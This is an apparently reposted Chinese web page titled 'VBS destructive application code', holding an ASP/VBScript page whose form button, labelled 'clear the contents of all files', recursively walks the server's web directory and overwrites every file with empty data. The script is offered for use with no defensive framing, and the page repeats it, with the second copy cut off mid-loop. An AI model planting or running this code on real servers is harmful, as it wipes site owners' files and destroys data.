VBS破坏性应用代码
2019-10-26 18:01:36
供稿:网友
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items